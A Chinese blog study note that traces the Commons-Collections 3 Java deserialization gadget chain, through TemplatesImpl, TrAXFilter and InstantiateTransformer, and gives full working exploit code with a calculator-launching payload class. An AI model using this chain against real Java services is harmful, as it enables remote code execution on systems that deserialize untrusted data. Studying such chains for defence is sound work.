Commons-collections3 利用链分析笔记
2023-3-13 19:19:0 Author: 轩公子谈技术(查看原文) 阅读量:5 收藏

类加载

.java文件编译为.class文件,把字节码中的二进制数据读入到内存中,将其放在运行时数据区的方法区内,然后在堆区创建一个java.lang.Class对象,用来封装类在方法区内的数据结构。类的加载的最终产品是位于堆区中的Class对象,Class对象封装了类在方法区内的数据结构,并且向Java程序员提供了访问方法区内的数据结构的接口。

加载class的方式

1.从本地系统中直接加载

2.通过网络下载.class文件

3.从zip,jar等归档文件中加载.class文件

4.从专有数据库中提取.class文件

5.将Java源文件动态编译为.class文件(动态代理生成的及jsp转换为servlet)

类加载过程

类的加载的方式

由关键字new创建一个类的实例
通过Class.forName()方法动态加载
通过ClassLoader.loadClass()方法动态加载

CC3 是通过动态类加载的方式执行代码,执行的过程,初始化代码。

寻找入口点

ClassLoader().loadClass();

loadClass 会调defineClass

类加载的过程即是ClassLoader() loadClass() defineClass() 执行代码,需要寻找一个初始化的点,这里从defineClass寻找 public的可重写的方法

TemplatesImpl

这个类 在上篇Fastjson不出网利用总结有提到,本篇会大致分析下在cc中的利用方法

TemplatesImpl发现了这个defineClass类,没有修饰符,默认在本包中调用,接着寻找

getTransletInstance发现了defineTransletClasses,并进行了初始化 newInstance()

这里的还是使用private进行修饰,接着找public

最终在这里找到公有方法,这条链的流程大致如下

newTransformer() -> getTransletInstance() -> defineTransletClasses() -> defineClass() -> newInstance()

攻击调用

TemplatesImpl templates = new TemplatesImpl();templates.newTransformer();

首先利用这个类,需要一些参数,点击newTransformer486行有三个参数,参数默认为null,不写也可以执行

接着跟进getTransletInstance方法,判断name参数,为null就返回,这个参数需要写进去,判断class参数为null,则调用defineTransletClasses函数,上面分析了流程,所以这里的class参数不写,就可以进行调用defineTransletClasses

在接着跟进defineTransletClasses

bytecodes需要赋值,否则爆出异常

401行的方法里_tfactory需要调用一个get方法,查看变量,在readObject是一个new函数。

414 会调用defineClass,方法中有个_bytecodes,查看变量是一个二维数组,前面的class是一个一维数组,在最早的defineClass方法中需要传递一个字节数组,在目前的流程就分析完成,接下来写代码进行测试

编写poc

TemplatesImpl templates = new TemplatesImpl();Class tc = templates.getClass();// name参数Field nameField = tc.getDeclaredField("_name");nameField.setAccessible(true);nameField.set(templates,"aaa");// bytecodes参数Field bytecodesField = tc.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);// 两个数组 从文件读字节码byte[] code = Files.readAllBytes(Paths.get("target/classes/com/test/cc/shell.class"));byte[][] codes = {code};bytecodesField.set(templates,codes);// _tfactoryField tfactoryField = tc.getDeclaredField("_tfactory");tfactoryField.setAccessible(true);tfactoryField.set(templates,new TransformerFactoryImpl());templates.newTransformer();

shell.java

import java.io.IOException;
public class shell { static { try { Runtime.getRuntime().exec("open -a calculator"); } catch (IOException e) { e.printStackTrace(); } }}

运行报错,打断点调试

找到问题点了,当前位置已经加载shell类,然后判断这个shell类的父类要等于这个常量,跟进常量,是一个抽象类

修改shell类,继承AbstractTranslet,并重写两个方法

再次执行

使用cc1的前半部分利用链

TemplatesImpl templates = new TemplatesImpl();Class tc = templates.getClass();// name参数Field nameField = tc.getDeclaredField("_name");nameField.setAccessible(true);nameField.set(templates,"aaa");// bytecodes参数Field bytecodesField = tc.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);// 两个数组 从文件读字节码byte[] code = Files.readAllBytes(Paths.get("target/classes/com/test/cc/shell.class"));byte[][] codes = {code};bytecodesField.set(templates,codes);// _tfactoryField tfactoryField = tc.getDeclaredField("_tfactory");tfactoryField.setAccessible(true);tfactoryField.set(templates,new TransformerFactoryImpl());//templates.newTransformer();
Transformer[] transformer = new Transformer[]{new ConstantTransformer(templates),new InvokerTransformer("newTransformer", null,null),};ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);chainedTransformer.transform(1);

TemplatesImpl templates = new TemplatesImpl();Class tc = templates.getClass();// name参数Field nameField = tc.getDeclaredField("_name");nameField.setAccessible(true);nameField.set(templates,"aaa");// bytecodes参数Field bytecodesField = tc.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);// 两个数组 从文件读字节码byte[] code = Files.readAllBytes(Paths.get("target/classes/com/test/cc/shell.class"));byte[][] codes = {code};bytecodesField.set(templates,codes);// _tfactoryField tfactoryField = tc.getDeclaredField("_tfactory");tfactoryField.setAccessible(true);tfactoryField.set(templates,new TransformerFactoryImpl());//templates.newTransformer();
Transformer[] transformer = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null,null), };ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);// chainedTransformer.transform(1);//遍历mapHashMap<Object,Object> hashedMap = new HashMap();hashedMap.put("value","aaa");Map<Object,Object> map = TransformedMap.decorate(hashedMap, null, chainedTransformer);
// 反射引用AnnotationInvocationHandlerClass<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);Object o = constructor.newInstance(Target.class, map);
//序列化//serializable(o);unserializable("ser.bin");

InstantiateTransformer

ysoserial中使用了InstantiateTransformer进行调用,跟进这个构造方法,需要传递两个参数,数组和对象

再跟进newTransformer

发现TrAXFilter构造方法直接传递templates,并直接调用newTransformer

TrAXFilter没有继承反序列化接口,XMLFilterImpl也没有,但是获取class可以进行反序列化

那么最终的利用链如下

前半部分和cc1的一样,只不过是把InvokerTransformer替换为InstantiateTransformer

InstantiateTransformer() -> TrAXFilter() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() -> defineClass() -> newInstance()

最终exp

package com.test.cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.map.TransformedMap;import javax.xml.transform.Templates;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;
public class CC3 { public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); // name参数 Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaa"); // bytecodes参数 Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); // 两个数组 从文件读字节码 byte[] code = Files.readAllBytes(Paths.get("target/classes/com/test/cc/shell.class")); byte[][] codes = {code}; bytecodesField.set(templates,codes);
// 创建instantiateTransformer InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
// 调用TrAXFilter.class Transformer[] transformer = new Transformer[]{ new ConstantTransformer(TrAXFilter.class),instantiateTransformer }; // 动态代理 ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
//遍历map HashMap<Object,Object> hashedMap = new HashMap(); hashedMap.put("value","aaa"); Map<Object,Object> map = TransformedMap.decorate(hashedMap, null, chainedTransformer);
// 反射引用AnnotationInvocationHandler Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(Target.class, map);
//序列化// serializable(o); unserializable("ser.bin");
} public static void serializable(Object o) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(o); } public static Object unserializable(String filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject(); return o; }}


文章来源: http://mp.weixin.qq.com/s?__biz=MzU3MDg2NDI4OA==&mid=2247487833&idx=1&sn=525d950936690efb8f18aab0e7693280&chksm=fce9b696cb9e3f80f3489e457c15714b4a5abcce0868fb6337f5c664a209188084b1860504f1#rd
如有侵权请联系:admin#unsafe.sh